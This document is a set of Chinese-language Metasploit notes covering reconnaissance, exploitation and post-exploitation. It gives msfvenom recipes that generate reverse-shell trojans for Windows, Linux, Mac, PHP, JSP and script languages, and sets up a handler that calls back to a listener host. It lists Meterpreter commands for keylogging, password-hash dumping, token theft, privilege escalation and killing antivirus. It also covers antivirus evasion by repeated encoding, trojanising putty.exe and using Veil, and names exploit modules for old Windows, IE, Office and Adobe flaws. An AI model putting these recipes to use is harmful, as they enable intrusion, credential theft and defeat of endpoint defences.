1、Metasploit整体框架:
Shell中直接输入msfconsole
启动PostgreSQL数据库服务 :service postgresql start 监听5432端口
初始化Metasploit数据库 :msfdb init
查看数据库联接情况 :msfconsole db_status
建立数据库缓存 :msfconsole db_rebuild_cache
专业术语
– Exploit,攻击工具/代码
– Payload,攻击载荷
– Shellcode
– Module,模块
– Listener,监听器
目录结构:
Kali Linux /usr/share/metasploit-framework
常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
msfvenom (攻击载荷生成和编码器)
主要参数:
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-f exe生成EXE格式
-l 可以查看可以利用payload eg:msfvenom -l | grep windows | grep x64 | grep tcp
LHOST,LPORT 监听上线的主机IP和端口
1、生成木马文件
操作系统
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f macho > shell.macho
开发语言:
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=xx -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '
' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f war > shell.war
脚本语言:
Python:
msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=xx -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=x.x.x.x LPORT=xx -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=x.x.x.x LPORT=xx -f raw > shell.pl
操作举例:
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exemsf > use exploit/multi/handlermsf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false #让connection保持连接(即使一个连接退出,仍然保持listening状态)
msf exploit(handler) > exploit -j -z #-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs #查看后台攻击任务
msf exploit(handler) > kill <id> #停止某后台攻击任务
msf exploit(handler) > sessions -l #(查看会话)
msf exploit(handler) > sessions -i 2 #选择会话
msf exploit(handler) > sessions -k 2 #结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话
Meterpreter后攻击:
Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\Users\123\Desktop\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释
免杀技术:
1、多次编码免杀
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe
2、自定义二进制代码的文件模板免杀
使用“putty.exe”作为文件模板,而且随着putty程序运行而隐蔽同时运行,还使用编码器进行了编码。
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe
3、使用Veil生成免杀代码
下载地址:
https://github.com/Veil-Framework/Veil-Evasion (只集合了Evasion)
https://github.com/Veil-Framework/Veil
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
cd setup
sudo ./setup.sh -c#一路回车就行,默认安装就行
cd ~/Veil
./Veil.py
use Evasion #使用Veil-Evasion工具
list #列举所有模块
use #使用某个模块
use c/meterpreter/rev_http.py
set #设置变量
generate #生成可执行代码
接着就是加载msf监听模块,等待用户的上线了
2、Metasploit Auxiliary:
2.1、scanner:
portscan syn扫描
use auxiliary/scanner/portscan/syn
Metasploit SMB扫描获取系统信息
use auxiliary/scanner/smb/smb_version
批量识别ssh指纹识别
use auxiliary/scanner/ssh/ssh_version
批量识别ftp指纹识别
use auxiliary/scanner/ftp/ftp_version
SNMP扫描与枚举
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
smb登录验证
use auxiliary/scanner/smb/smb_login
VNC身份验证
use auxiliary/scanner/vnc/vnc_none_auth
2.2、sniffer:
密码嗅探
use auxiliary/sniffer/psnuffle
2.3、扫描wmap:
小结wmap:
1.启动msf数据库 2.msf加载wmap load wmap 3.wmap添加一个sites wmap_sites -a http://xxx.com.cn 查看添加的list wmap_sites -l 4.wmap添加一个targets wmap_targets -t http://192.168.x.xxx 使用-d添加targets wmap_targets -d 0 清空添加的list wmap_targets -c 5.执行漏洞扫描 wmap_run -e 6.查看扫描到的漏洞 wmap_vulns 7.导出漏洞扫描结果 db_export -f xml /root/database.xml
扫描实例详情:http://192.168.19.141
msf > load wmap .-.-.-..-.-.-..---..---. | | | || | | || | || |-' `-----'`-'-'-'`-^-'`-' [WMAP 1.5.1] === et [ ] metasploit.com 2012 [*] Successfully loaded plugin: wmap msf > wmap_sites -h [*] Usage: wmap_sites [options] -h Display this help text -a [url] Add site (vhost,url) -d [ids] Delete sites (separate ids with space) -l List all available sites -s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false) msf > wmap_sites -a http://192.168.19.141 [*] Site created. msf > wmap_targets -c msf > wmap_targets -h [*] Usage: wmap_targets [options] -h Display this help text -t [urls] Define target sites (vhost1,url[space]vhost2,url) -d [ids] Define target sites (id1, id2, id3 ...) -c Clean target sites list -l List all target sites msf > wmap_targets -d 0 [*] Loading 192.168.19.141,http://192.168.19.141:80/. msf > wmap_targets -l [*] Defined targets =============== Id Vhost Host Port SSL Path -- ----- ---- ---- --- ---- 0 192.168.19.141 192.168.19.141 80 false / msf > wmap_run -e [*] Using ALL wmap enabled modules. [-] NO WMAP NODES DEFINED. Executing local modules [*] Testing target: [*] Site: 192.168.19.141 (192.168.19.141) [*] Port: 80 SSL: false ============================================================ [*] Testing started. 2018-09-09 05:26:51 -0400 [*] Loading wmap modules... [*] 39 wmap enabled modules loaded. [*] =[ SSL testing ]= ============================================================ [*] Target is not SSL. SSL modules disabled. [*] =[ Web Server testing ]= ============================================================ [*] Module auxiliary/scanner/http/http_version [+] 192.168.19.141:80 Apache/2.4.7 (Ubuntu) [*] Module auxiliary/scanner/http/open_proxy [*] Module auxiliary/admin/http/tomcat_administration [*] Module auxiliary/admin/http/tomcat_utf8_traversal [*] Attempting to connect to 192.168.19.141:80 [+] No File(s) found [*] Module auxiliary/scanner/http/drupal_views_user_enum [-] 192.168.19.141 does not appear to be vulnerable, will not continue [*] Module auxiliary/scanner/http/frontpage_login [*] 192.168.19.141:80 - http://192.168.19.141/ may not support FrontPage Server Extensions [*] Module auxiliary/scanner/http/host_header_injection [*] Module auxiliary/scanner/http/options [+] 192.168.19.141 allows GET,HEAD,POST,OPTIONS methods [*] Module auxiliary/scanner/http/robots_txt [*] Module auxiliary/scanner/http/scraper [+] [192.168.19.141] / [SQL Injections] [*] Module auxiliary/scanner/http/svn_scanner [*] Using code '404' as not found. [*] Module auxiliary/scanner/http/trace [*] Module auxiliary/scanner/http/vhost_scanner [*] >> Exception during launch from auxiliary/scanner/http/vhost_scanner: The following options failed to validate: DOMAIN. [*] Module auxiliary/scanner/http/webdav_internal_ip [*] Module auxiliary/scanner/http/webdav_scanner [*] 192.168.19.141 (Apache/2.4.7 (Ubuntu)) WebDAV disabled. [*] Module auxiliary/scanner/http/webdav_website_content [*] =[ File/Dir testing ]= ============================================================ [*] Module auxiliary/scanner/http/backup_file [*] Module auxiliary/scanner/http/brute_dirs [*] Path: / [*] Using code '404' as not found. [*] Module auxiliary/scanner/http/copy_of_file [*] Module auxiliary/scanner/http/dir_listing [*] Path: / [*] Module auxiliary/scanner/http/dir_scanner [*] Path: / [*] Detecting error code [*] Using code '404' as not found for 192.168.19.141 [+] Found http://192.168.19.141:80/cgi-bin/ 403 (192.168.19.141) [+] Found http://192.168.19.141:80/icons/ 403 (192.168.19.141) [+] Found http://192.168.19.141:80/images/ 200 (192.168.19.141) [*] Module auxiliary/scanner/http/dir_webdav_unicode_bypass [*] Path: / [*] Using code '404' as not found. [*] Module auxiliary/scanner/http/file_same_name_dir [*] Path: / [-] Blank or default PATH set. [*] Module auxiliary/scanner/http/files_dir [*] Path: / [*] Using code '404' as not found for files with extension .null [*] Using code '404' as not found for files with extension .backup [*] Using code '404' as not found for files with extension .bak [*] Using code '404' as not found for files with extension .c [*] Using code '404' as not found for files with extension .cfg [*] Using code '404' as not found for files with extension .class [*] Using code '404' as not found for files with extension .copy [*] Using code '404' as not found for files with extension .conf [*] Using code '404' as not found for files with extension .exe [*] Using code '404' as not found for files with extension .html [+] Found http://192.168.19.141:80/index.html 200 [*] Using code '404' as not found for files with extension .htm [*] Using code '404' as not found for files with extension .ini [*] Using code '404' as not found for files with extension .log [*] Using code '404' as not found for files with extension .old [*] Using code '404' as not found for files with extension .orig [*] Using code '404' as not found for files with extension .php [*] Using code '404' as not found for files with extension .tar [*] Using code '404' as not found for files with extension .tar.gz [*] Using code '404' as not found for files with extension .tgz [*] Using code '404' as not found for files with extension .tmp [*] Using code '404' as not found for files with extension .temp [*] Using code '404' as not found for files with extension .txt [+] Found http://192.168.19.141:80/readme.txt 200 [*] Using code '404' as not found for files with extension .zip [*] Using code '404' as not found for files with extension ~ [*] Using code '404' as not found for files with extension [+] Found http://192.168.19.141:80/images 301 [+] Found http://192.168.19.141:80/index 200 [+] Found http://192.168.19.141:80/readme 200 [*] Using code '404' as not found for files with extension [+] Found http://192.168.19.141:80/images 301 [+] Found http://192.168.19.141:80/index 200 [+] Found http://192.168.19.141:80/readme 200 [*] Module auxiliary/scanner/http/http_put [*] Path: / [-] 192.168.19.141: File doesn't seem to exist. The upload probably failed [*] Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass [*] Path: / [-] 192.168.19.141:80 Folder does not require authentication. [405] [*] Module auxiliary/scanner/http/prev_dir_same_name_file [*] Path: / [-] Blank or default PATH set. [*] Module auxiliary/scanner/http/replace_ext [*] Module auxiliary/scanner/http/soap_xml [*] Path: / [*] Starting scan with 0ms delay between requests [*] Server 192.168.19.141:80 returned HTTP 404 for /. Use a different one. [*] Module auxiliary/scanner/http/trace_axd [*] Path: / [*] Module auxiliary/scanner/http/verb_auth_bypass [*] =[ Unique Query testing ]= ============================================================ [*] Module auxiliary/scanner/http/blind_sql_query [*] Module auxiliary/scanner/http/error_sql_injection [*] Module auxiliary/scanner/http/http_traversal [*] Module auxiliary/scanner/http/rails_mass_assignment [*] Module exploit/multi/http/lcms_php_exec [*] =[ Query testing ]= ============================================================ [*] =[ General testing ]= ============================================================ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Launch completed in 169.54123091697693 seconds. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [*] Done. msf > wmap_vulns [*] Usage: wmap_vulns [options] -h Display this help text -l Display web vulns table msf > wmap_vulns -l [*] + [192.168.19.141] (192.168.19.141): scraper / [*] scraper Scraper [*] GET SQL Injections [*] + [192.168.19.141] (192.168.19.141): directory /cgi-bin/ [*] directory Directoy found. [*] GET Res code: 403 [*] + [192.168.19.141] (192.168.19.141): directory /icons/ [*] directory Directoy found. [*] GET Res code: 403 [*] + [192.168.19.141] (192.168.19.141): directory /images/ [*] directory Directoy found. [*] GET Res code: 200 [*] + [192.168.19.141] (192.168.19.141): file /index.html [*] file File found. [*] GET Res code: 404 [*] + [192.168.19.141] (192.168.19.141): file /readme.txt [*] file File found. [*] GET Res code: 200 [*] + [192.168.19.141] (192.168.19.141): file /images [*] file File found. [*] GET Res code: 404 [*] + [192.168.19.141] (192.168.19.141): file /index [*] file File found. [*] GET Res code: 404 [*] + [192.168.19.141] (192.168.19.141): file /readme [*] file File found. [*] GET Res code: 404 msf >
#参考:https://www.jianshu.com/p/67315789a8f8
第2章 信息收集与扫描
2.1 信息收集分类:
- 被动式信息收集
- 主动式信息收集
- 社会工程学
2.2 被动式信息收集1.0——传统方式
whois
dig
nslookup
在线查询
- http://who.is
- http://www.kloth.net
2.3 被动式信息收集1.0——升级方式
区域传送:
SMTP头:
Google dork:
2.4 端口扫描——Nmap方式
分析4种类型:TCP connect san、SYN stealth scan、UDP scan、ACK scan (sT、sS、sU、sA)
TCP connect [-sT]
SYN scan [-sS]
UDP scan [-sU]
ACK scan [-sA]
-sV
-O
Decoy [-D]
增加匿名性
2.5 用于扫描的辅助模块
/modules/auxiliary/scanner
搜索端口扫描
search portscan
批量测试是否开放tomcat、等
2.6 使用Nessus进行漏洞扫描
msf> db_connect msf3:8b826ac0@127:7175/msf3
msf> load nessus
msf> nessus_connect root:toor@localhost ok
msf> nessus_scan 1 testscan 192.168.56.102
msf> nessus_report_list
msf> nessus_report_get xxx
msf> hosts -c address,vuls,os_name
2.7 使用NeXpose进行扫描
msf> db_connect msf3:8b826ac0@127:7175/msf3
msf> load nexpose
msf> nexpose_connect darklord:toor@localhost ok
msf> nexpose_discover 192.168.56.102
msf> hosts -c address,os_name,os_flavor
msf> db_import nexposelist.xml
2.8 使用Dradis框架共享扫描信息
3 操作系统漏洞评估与利用
1、Windows XP
1.1、MS03_26_dcom
exploit/windows/dcerpc/ms03_026_dcom
Rank 为:great port:135
DCOM(分布式组件对象模型)接口,运行在RPC的端口上,RPC协议中对畸形消息的处理存在错误
payload windows/adduser
payload windows/shell/bind_tcp
#可以找到原文件查看源码adduser是怎么实现的。
2、Windows 2003 Server
2.1、MS08_067_netapi
exploit/windows/smb/ms08_067_netapi
Rank 为:great port:445
netapi32.dll执行路径连接代码中的分析漏洞,可绕过NX特性,防止Server服务崩溃。
3、Windows 7/Server 2008 R2
3.1、ms10_006_negotiate_response_loop
auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
Rank:normal
将UNC路径传递给web页面,并诱使目标用户执行,用户打开共享文件之后,目标系统将完全崩溃,只能重新启动恢复
msf exploit(ms08_067_netapi) > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop msf auxiliary(ms10_006_negotiate_response_loop) > run [*] Starting the malicious SMB service... [*] To trigger, the vulnerable client should try to access: \127.0.0.1SharedAnything [*] Server started.
4、Linux
4.1、Samba
exploit/linux/samba/lsa_transnames_heap
CVE-2007-2446
激发Samba守护进程的LSA RPC服务中的堆溢出漏洞,并使用talloc chunk 重写方法(credit Ramon and Adriano)
使用用于 Samba 3.0.21-3.0.24版本
值的学习的两个模块:
1、Samba chain_reply 内存损坏漏洞:
分配给响应数据包的内存,可通过传递超过目标缓冲区大小的值实现
受影响版本:Samba 3.3.13之前
2、Samba trans2open 溢出:
利用没有noexec栈选项的 x86 Linux机器中的漏洞
受影响版本:Samba 2.2.0-2.2.8
5、理解Windows DLL注入
5.1、webdav_dll_hijacker
exploit/windows/browser/webdav_dll_hijacker
创建包含漏洞的目录路径,目标机器需要执行该路径以便激活漏洞。
目录可以是文件、提前的文件夹、USB驱动器或网络共享等。
创建的文件本身是无害的,但会执行DLL注入漏洞来攻击目标系统
DLL(动态链接库)是微软Windows操作系统中共享库的一种实现。
运行时loadlibray()函数将加载运行时必须的DLL,如果没有指定位置,或者提供非全限定的库路径时,
会使用自定义的搜索顺序进行DLL搜索,其中默认搜索位置就是程序的当前工作目录。
由于当前工作目录是由攻击者控制的,攻击者可以在其中添加恶意的DLL代码,并由操作系统执行,
从而使攻击者可以执行外部脚本,攻击载荷成功执行后,会建立shell链接。
5.2、探测DLL注入漏洞
H.D.Moore的DLLHijackAudit安全审计工具。
https://github.com/rapid7/DLLHijackAuditKit/releases/
6、客户端漏洞利用与防病毒软件规避
6.1 IE浏览器
1.不安全脚本错误配置
exploit/windows/browser/ie_unsafe_scripting
漏洞影响:IE 6、7(XP、2003)IE 8(WIN7)
Tools | Internet | Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe | Enable
exploit命令生成一个恶意链接,受害者点击链接后,IE崩溃或者显示空白页。(IE 8 需要点击Allow按钮)
允许对ActiveX控件WScript.Shell 进行访问,WScript.Shell对象提供了读取文件系统、环境变量、读取并修改注册表,快捷方式管理等函数,
从而使攻击者利用控件创建JavaScript脚本与目标主机文件系统进行交互并运行相应命令。
2.Internet Explorer Aurora内存损坏
exploit/windows/browser/ms10_002_aurora
CVE-2010-0249只针对IE 6内存损坏漏洞攻击
2010中期,攻击者利用“Operation Aurora”攻击过一些顶级公司
3.CSS递归调用内存损坏
exploit/windows/browser/ms11_003_ie_css_import
CVE-2010-3971漏洞影响:IE 8 (win7 和Server 2008)
payload:windows/meterpreter/bind_tcp
生成一个恶意链接,目标主机使用IE打开后,IE浏览器将完全“冻结”,并消耗大量的系统资源,目标主机将不得不关闭浏览器
InitialAutoRunScript 'migrate -f'
migate -f:
将攻击载荷从iexplore.exe进程转移给notepad.exe进程。
有助于保持持久链接,即便用户关闭了浏览器,还可以通行,因为shell已经转移到另外的进程。
如果提示:“Target machine does not have the .NET CLR 2.0.50727”,需要将IE设置为默认浏览器即可
6.2 Microsoft Offices
1.Word RTF栈溢出
exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
CVE-2010-3333漏洞影响:Office 2010 和 Office 2007
payload:windows/meterpreter/reverse_tcp
恶意word文档将非法值传递给word分析器,分析器无法识别非法值从而导致缓冲区溢出。
然后攻击载荷开始运行,并建立链接。是否攻击成功,取决于目标机器自身状况,
因为Windows ASLR(地址空间布局随机化)会阻止执行任意代码。
2.Excel 2007 缓存区溢出
exploit/windows/fileformat/ms11_021_xlb_bof
CVE-2011-0105漏洞影响:Excel 2007
执行恶意xlb文件导致栈溢出执行任意代码
6.3 Adobe
1.Adobe Reader until.printft ()缓冲区溢出
exploit/windows/fileformat/adobe_utilprintf
CVE-2008-2992漏洞影响:< 8.1.3
快速恢复渗透过程:exploit/multi/handler
特殊的监听器模块
Adobe Reader 软件中JavaScript函数util.printf() 的实现出现了错误。
该函数将其接受的参数转换为字符串,但是使用最开始的16个数字,
其余部分使用固定值0(0x30)进行填充,如果向该函数传递一个超长度值...
var num 1.2
util.printf("%5000f",num)
这简单的2行代码的功能是将字节0x20在栈中复制5000次,从而可以控制异常处理程序,并在尝试写入栈后的内存端时触发异常。
6.4 msfpayload
BT下运行,kali2已将msfpayloa 和 msfencoe合并成msfvenom
攻击载荷windows/shell/reverse_tcp生成其C语言形式的shellcode
msfpayload windows/shell/reverse_tcp o msfpayload windows/shell/reverse_tcp LHOST = 192.168.56.101 LPORT = 4441 o msfpayload windows/shell/reverse_tcp LHOST = 192.168.56.101 LPORT = 4441 C msfpayload windows/shell/reverse_tcp LHOST = 192.168.56.101 LPORT = 4441 X > .local/setup.exe
6.5 msfencoe
BT下运行,kali2已将msfpayloa 和 msfencoe合并成msfvenom
3个案例:
msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e cmd/generic_sh -c 2 -t exe > .local/encoded.exe msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe > .local/cmdencoded.exe msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t vbs -x cmd.exe > .local/cmdtest2.vbs
6.6 killav.rb
1. run kalliav
meterpreter> run killav
2.解读killav.rb脚本
kali2:/usr/share/metasploit-framework/scripts/meterpreter/killav.rb
以%W数组的形式包含了一个完整的进程列表,在目标机上进行搜索并杀禁制。
数组名在目标系统中寻找匹配,找到后使用process.kill函数禁制该进程
3.还是没被禁用呢?
可能杀毒软件是以服务的形式运行,杀死进程后,马上服务又把它开启进程。
进程是基于用户的,而服务是基于系统的。
假如是AVG防病毒软件:
tasklist:寻找各种可用的任务
/SVC参数只列出服务形式运行的进程
/F 参数用于强制禁制进程
tasklist /SVC | find /I "avg"
tasklist /F /IM "avg*"
C:Userslenovo>tasklist /SVC | find /I "avg" C:Userslenovo>tasklist /F /IM "avg*"
4.有些服务还是无法禁用呢?
net stop
sc config